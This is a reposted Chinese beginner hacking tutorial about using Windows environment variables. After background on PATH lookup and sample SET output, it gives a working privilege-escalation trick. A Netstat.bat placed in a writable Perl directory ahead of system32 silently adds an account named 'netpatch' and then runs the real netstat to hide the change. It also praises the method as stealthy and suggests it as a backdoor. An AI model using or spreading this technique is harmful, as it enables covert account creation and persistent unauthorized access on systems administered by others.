环境变量在Hacking中的操纵[菜鸟入门]
本文“环境变量在Hacking中的操纵[菜鸟入门]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
首先,我们先理解下什么叫环境变量!
环境变量普通是指在操作系统顶用来指定操作系统运行环境的一些参数,比方暂时文件夹位置和系统文件夹位置等等.这点有点近似于DOS期间的默许途径,当你运行某些程时序除了在当前文件夹中探求外,还会到设置的默许途径中去查找.比方说环境变量中的"Path"就是一个变量,里面存储了一些常用号令所存放的目录途径.
查看系统当前的环境变量,可以利用SET号令查看!
下面是履行SET号令后反馈的信息
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\Administrator\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=145F63CA0A6F46D
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\Administrator
LOGONSERVER=\\145F63CA0A6F46D
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=D:\Progra~1\Borland\Delphi7\Bin;D:\Progra~1\Borland\Delphi7\Projects\Bpl\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f06
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
USERDOMAIN=145F63CA0A6F46D
USERNAME=Administrator
USERPROFILE=C:\Documents and Settings\Administrator
windir=C:\WINDOWS
======================================================================
我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前途径在哪,都可以履行NC号令!------Hacking中也供应了不少便利,不是么?
其实这就是 Path 变量所起的作用了!
假如将Path变量中的内容全部删除,那么本来的系统号令系统都将无法辨认了.
也就是说,当我们在CMD中输入些号令时,系统将以以下次序查找相关程序,来到达直接调用程序或文件的目的!
1.当前目录下的可履行文件!
2.顺次查找Path变量中的所指定的目录!
OK,在大体熟习了环境变量后,我们开始切入主题,谈谈若何操纵环境变量为我们的Hacking供应便利.
我们知道PERL安装后会在变量Path内容的最前面加入c:\perl\bin //目录依安装而定
而当管理员权限配置不当时,会忽视此目录的权限配置(默许权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件.
下面我举个操纵的例子!
//能否可操纵,取决于Path变量的位置以及该目录能否可写
//环境变量一定要在系统自带环境变量之前.
假定条件以下:
目标安装了PERL,且目录为c:\perl\bin
//目录可写
系统环境变量中的Path变量内容以下
Path=c:\perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
我们可以在该目录下成立以下文件
Netstat.cmd
or
Netstat.bat //常用系统号令亦可,请自己举一反三!THX~
文件内容以下
@net user netpatch nspcn.org /add>nul
Rem 号令一定要记得加 @ 末尾加
>nul
Rem @是为了躲藏号令本身
Rem >nul 是为了躲藏号令履行完后的后果反馈!
@%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6
Rem 学过批处理号令的同学应当知道这背面的%1 %2 %3等,是起 参数的作用
当管理员履行号令时,由于Path变量中c:\perl\bin位于系统环境变量的前面,所以,当管理员履行Netstat号令时,系统会首先找当前目录下的可履行文件,默许也就是"C:\Documents and Settings\Administrator\" (依登陆用户而定)当没找到Netstat程序时,就会接着顺次探求环境变量中的Path变量中所定义的目录,第一个当然是c:\perl\bin目录啦..由于系统找的是可履行程序,SO…自但是然的找到了我们的Netstat.bat,然后系统也就理所当然的履行了我们设置好的号令.由于我们构造的巧妙,未露丝毫漏洞..成功公开提权…..
此乃三十六计中的暗度陈仓也….
提权的小本领讲完了…聪明的你大概会想到..假如作为BACKDOOR呢?呵呵~~
为啥不可呢,有Idea就得试…没测试哪来的正果呢?
以上是“环境变量在Hacking中的操纵[菜鸟入门]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |